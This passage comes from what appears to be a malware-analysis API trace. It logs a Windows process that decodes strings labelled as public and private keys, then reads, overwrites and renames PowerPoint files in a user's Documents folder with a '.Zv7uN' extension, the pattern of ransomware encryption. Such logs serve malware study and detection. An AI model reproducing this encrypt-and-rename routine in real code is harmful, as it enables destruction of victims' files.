kVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.897] GetCurrentThreadId () returned 0xa30 [0088.897] GetCurrentThreadId () returned 0xa30 [0088.897] GetCurrentThreadId () returned 0xa30 [0088.897] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\7nadXsUY.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\7nadxsuy.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0088.897] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0088.898] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0088.898] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x1677d [0088.898] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0088.898] ReadFile (in: hFile=0x128, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x1677d, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f108*=0x1677d, lpOverlapped=0x0) returned 1 [0088.901] CloseHandle (hObject=0x128) returned 1 [0088.903] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\7nadXsUY.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\7nadxsuy.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0088.906] WriteFile (in: hFile=0x128, lpBuffer=0x1f3f460*, nNumberOfBytesToWrite=0x1677d, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f3f460*, lpNumberOfBytesWritten=0x18f114*=0x1677d, lpOverlapped=0x0) returned 1 [0088.911] CloseHandle (hObject=0x128) returned 1 [0088.911] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\7nadXsUY.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\7nadxsuy.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\7nadXsUY.pptx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\7nadxsuy.pptx.zv7un")) returned 1 [0088.912] GetCurrentThreadId () returned 0xa30 [0088.912] GetCurrentThreadId () returned 0xa30 [0088.912] GetCurrentThreadId () returned 0xa30 [0088.913] GetCurrentThreadId () returned 0xa30 [0088.913] GetCurrentThreadId () returned 0xa30 [0088.913] GetCurrentThreadId () returned 0xa30 [0088.913] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11b7e170, ftCreationTime.dwHighDateTime=0x1d5db14, ftLastAccessTime.dwLowDateTime=0xcf679dc0, ftLastAccessTime.dwHighDateTime=0x1d5d7e3, ftLastWriteTime.dwLowDateTime=0xcf679dc0, ftLastWriteTime.dwHighDateTime=0x1d5d7e3, nFileSizeHigh=0x0, nFileSizeLow=0xd3b9, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="noOt.pptx", cAlternateFileName="NOOT~1.PPT")) returned 1 [0088.913] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0088.913] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0088.913] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\noOt.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\noot.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11b7e170, ftCreationTime.dwHighDateTime=0x1d5db14, ftLastAccessTime.dwLowDateTime=0xcf679dc0, ftLastAccessTime.dwHighDateTime=0x1d5d7e3, ftLastWriteTime.dwLowDateTime=0xcf679dc0, ftLastWriteTime.dwHighDateTime=0x1d5d7e3, nFileSizeHigh=0x0, nFileSizeLow=0xd3b9)) returned 1 [0088.913] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\noOt.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\noot.pptx")) returned 0x20 [0088.913] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\noOt.pptx", dwFileAttributes=0x80) returned 1 [0088.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.917] GetCurrentThreadId () returned 0xa30 [0088.917] GetCurrentThreadId () returned 0xa30 [0088.917] GetCurrentThreadId () returned 0xa30 [0088.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.918] GetCurrentThreadId () returned 0xa30 [0088.919] GetCurrentThreadId () returned 0xa30 [0088.919] GetCurrentThreadId () returned 0xa30 [0088.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\noOt.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\noot.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0088.919] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0088.919] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0088.919] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0xd3b9 [0088.919] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 